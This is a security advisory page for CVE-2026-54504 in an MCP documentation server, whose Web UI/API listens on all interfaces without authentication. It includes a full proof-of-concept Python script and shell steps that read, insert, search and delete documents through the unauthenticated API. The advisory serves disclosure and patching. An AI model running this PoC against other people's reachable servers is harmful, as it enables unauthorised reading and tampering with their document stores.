CVE-2026-54504: @andrea9293/mcp-documentation-server: Web UI API binds to all interfaces without authentication by default
Summary @andrea9293/mcp-documentation-server v1.13.0 documents that a Web UI starts automatically on port 3080. However, the Web UI/API appears to bind to all network interfaces by default (:3080 / 0.0.0.0:3080) instead of localhost-only, and its document-management API endpoints do not require authentication.
Published Jul 15, 2026 · Updated Jul 18, 2026
Affected packages
@andrea9293/mcp-documentation-server
- Ecosystem
- npm
- Affected
- = 1.13.0
- Fixed in
- 1.13.1
- Check
npm ls @andrea9293/mcp-documentation-server
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
@andrea9293/mcp-documentation-server v1.13.0 documents that a Web UI starts automatically on port 3080. However, the Web UI/API appears to bind to all network interfaces by default (*:3080 / 0.0.0.0:3080) instead of localhost-only, and its document-management API endpoints do not require authentication.
As a result, any network-reachable client on the same LAN, VM network, or container bridge can access the document-admin API without credentials. In my reproduction, I was able to enumerate documents, add a document, read its full content, search across the corpus, and delete the document through the host's LAN IP.
The issue is not that a Web UI exists. The issue is that a local document-management Web UI/API is exposed on all interfaces by default without authentication.
Details
The README documents that the Web UI starts automatically and tells users to open:
http://localhost:3080It also documents START_WEB_UI=true and WEB_PORT=3080 as the defaults.
The vulnerable behavior appears to come from starting the web server without binding it to localhost explicitly.
In src/server.ts, the Web UI is started unless START_WEB_UI=false:
if (process.env.START_WEB_UI !== 'false') {
initializeDocumentManager().then(manager => {
return startWebServer(undefined, manager);
}).then(() => {
console.error('[Server] Web UI started (port=' + (process.env.WEB_PORT || '3080') + ')');
})...
}In src/web-server.ts, the Express app appears to listen with only the port:
const server = app.listen(PORT, () => {
console.log(`\n 🌐 MCP Documentation Server - Web UI`);
console.log(` ────────────────────────────────────`);
console.log(` Local: http://localhost:${PORT}`);
console.log(` Network: http://0.0.0.0:${PORT}\n`);
});With Express/Node, app.listen(PORT) without a host argument binds to all interfaces. In my reproduction, this resulted in:
LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21))The exposed API includes document-admin operations such as:
GET /api/documents
GET /api/documents/:id
POST /api/documents
POST /api/search-all
DELETE /api/documents/:id
GET /api/configI did not send any Authorization header in the PoC requests, and all tested operations succeeded.
PoC
Tested on v1.13.0.
1. Build from source
cd ~/Desktop
mkdir -p docsrv_repro_from_scratch
cd docsrv_repro_from_scratch
git clone https://github.com/andrea9293/mcp-documentation-server.git
cd mcp-documentation-server
git rev-parse HEAD
npm install --no-audit --no-fund
npm run build
ls -l dist/server.js
node -p "require('./package.json').version"Expected version:
1.13.02. Start the server with default Web UI behavior
Do not set START_WEB_UI=false.
rm -rf /tmp/docsrv_base
mkdir -p /tmp/docsrv_base
MCP_BASE_DIR=/tmp/docsrv_base \
WEB_PORT=3080 \
node dist/server.js \
</dev/null \
>/tmp/docsrv_stdout.log \
2>/tmp/docsrv_stderr.log &
DOCSRV_PID=$!
sleep 5
echo "DOCSRV_PID=$DOCSRV_PID"
ps -p "$DOCSRV_PID" -o pid,stat,cmd3. Confirm that the Web UI/API binds to all interfaces
ss -ltnp | grep ':3080' || trueObserved:
LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21))This indicates the service is not bound only to 127.0.0.1.
4. Confirm that the API is reachable through the LAN IP
LAN_IP=$(hostname -I | awk '{print $1}')
echo "LAN_IP=$LAN_IP"
curl -sS --max-time 5 "http://$LAN_IP:3080/api/config"
echoObserved:
LAN_IP=10.0.250.230
{"gemini_available":false,"embedding_model":"Xenova/all-MiniLM-L6-v2"}No authentication header was sent.
5. Full unauthenticated document-admin PoC
cat > /tmp/docsrv_unauth_poc.py <<'PY'
#!/usr/bin/env python3
import json
import sys
import urllib.request
import urllib.error
HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3080
BASE = f"http://{HOST}:{PORT}"
def req(method, path, body=None):
data = json.dumps(body).encode() if body is not None else None
headers = {"Content-Type": "application/json"} if body is not None else {}
r = urllib.request.Request(f"{BASE}{path}", data=data, method=method, headers=headers)
with urllib.request.urlopen(r, timeout=10) as resp:
raw = resp.read().decode()
try:
return resp.status, json.loads(raw or "null")
except Exception:
return resp.status, raw
def main():
print(f"[poc] target = {BASE}")
print("[poc] no Authorization header is sent")
status, config = req("GET", "/api/config")
print(f"[0] config: HTTP {status}, {config}")
status, docs = req("GET", "/api/documents")
print(f"[1] list documents: HTTP {status}, count={len(docs) if isinstance(docs, list) else 'unknown'}")
marker = "ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api"
body = {
"title": "network-inserted-test-document",
"content": marker + "\nThis document was inserted through the unauthenticated network API.",
"metadata": {"source": "unauth-network-poc"}
}
status, added = req("POST", "/api/documents", body)
print(f"[2] add document: HTTP {status}, response={added}")
doc_id = None
if isinstance(added, dict):
doc_id = added.get("id") or added.get("document", {}).get("id")
if not doc_id:
status, docs = req("GET", "/api/documents")
for d in docs:
if d.get("title") == "network-inserted-test-document":
doc_id = d.get("id")
break
if not doc_id:
raise RuntimeError("could not locate inserted document id")
print(f"[2] inserted id={doc_id}")
status, doc = req("GET", f"/api/documents/{doc_id}")
content = doc.get("content", "") if isinstance(doc, dict) else str(doc)
print(f"[3] read document: HTTP {status}, marker_present={marker in content}")
status, hits = req("POST", "/api/search-all", {
"query": "ATTACKER_CONTROLLED_DOCUMENT_MARKER network inserted",
"limit": 5
})
print(f"[4] search-all: HTTP {status}, response_prefix={str(hits)[:300]!r}")
status, deleted = req("DELETE", f"/api/documents/{doc_id}")
print(f"[5] delete document: HTTP {status}, response={deleted}")
print("[poc] DONE")
if __name__ == "__main__":
main()
PY
chmod +x /tmp/docsrv_unauth_poc.pyRun against localhost:
python3 /tmp/docsrv_unauth_poc.py 127.0.0.1 3080Observed:
[poc] target = http://127.0.0.1:3080
[poc] no Authorization header is sent
[0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'}
[1] list documents: HTTP 200, count=0
[2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'}
[2] inserted id=ef13280d7441d5bb
[3] read document: HTTP 200, marker_present=True
[4] search-all: HTTP 200, response_prefix="[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\nThis document was inserted through the unauthenticated network API.'}]"
[5] delete document: HTTP 200, response={'success': True, 'message': 'Document "network-inserted-test-document" deleted'}
[poc] DONERun the same PoC against the host's LAN IP:
LAN_IP=$(hostname -I | awk '{print $1}')
python3 /tmp/docsrv_unauth_poc.py "$LAN_IP" 3080Observed:
[poc] target = http://10.0.250.230:3080
[poc] no Authorization header is sent
[0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'}
[1] list documents: HTTP 200, count=0
[2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'}
[2] inserted id=ef13280d7441d5bb
[3] read document: HTTP 200, marker_present=True
[4] search-all: HTTP 200, response_prefix="[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\nThis document was inserted through the unauthenticated network API.'}]"
[5] delete document: HTTP 200, response={'success': True, 'message': 'Document "network-inserted-test-document" deleted'}
[poc] DONE6. Cleanup
kill "$DOCSRV_PID" 2>/dev/null || true
fuser -k 3080/tcp 2>/dev/null || true
rm -rf /tmp/docsrv_base
rm -f /tmp/docsrv_unauth_poc.py
rm -f /tmp/docsrv_stdout.log /tmp/docsrv_stderr.logImpact
This is a missing-authentication and unsafe-default network exposure issue for the Web UI/API.
A network-reachable attacker can access the document-management API without credentials. Depending on what the user stores in the documentation server, this may allow:
- reading document titles, previews, and full document contents;
- searching across the entire document corpus;
- inserting attacker-controlled documents into the corpus;
- deleting documents;
- tampering with the user's local knowledge base used by the MCP assistant.
This can affect users who run the MCP server on laptops, workstations, dev VMs, or hosts connected to shared networks, VPNs, Docker bridges, or other routable local networks.
This is not a claim for unauthenticated remote code execution. The issue is that the documented Web UI/API is exposed on all interfaces by default and does not require authentication for document-admin operations.
A safer default would be to bind the Web UI/API to 127.0.0.1 by default, and require an explicit opt-in such as WEB_BIND_HOST=0.0.0.0 for network exposure. If network binding is supported, an authentication token should be required for document-management endpoints.
Credited to mcfly-zzh.
References
- https://github.com/andrea9293/mcp-documentation-server/security/advisories/GHSA-6f5r-5672-72j7
- https://github.com/andrea9293/mcp-documentation-server/commit/37159d4e06b8ee50c3645b2496e3d3f6d32c47f9
- https://github.com/andrea9293/mcp-documentation-server/releases/tag/v1.13.1
- https://github.com/advisories/GHSA-6f5r-5672-72j7
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Other MCP servers and tools vulnerabilities
All Other MCP servers and tools entriesCVE-2026-77361
obsidian-tc : Symlink read-ACL scope bypass via lexical path checks
medium4.7Oct 23, 2026CVE-2026-114126
Storybook dev server vulnerable to code injection from the local network
high8.7Oct 22, 2026CVE-2026-113731
djust: Arbitrary absolute-path file read in the find_handlers_for_template MCP tool
low3.3Oct 21, 2026CVE-2026-114125
Storybook: Missing origin validation in Storybook preview allows code injection from malicious websites
critical9.4Oct 21, 2026CVE-2026-111770
MCP TypeScript server SDK: Shared transport or server instances delivered one HTTP client's messages to another
high7.7Oct 20, 2026GHSA-953h-535j-jg2v
agent-router: MCP session resume does not verify the embedded anti-hijacking subject; default Helm seed makes session IDs forgeable
medium6.8Oct 19, 2026
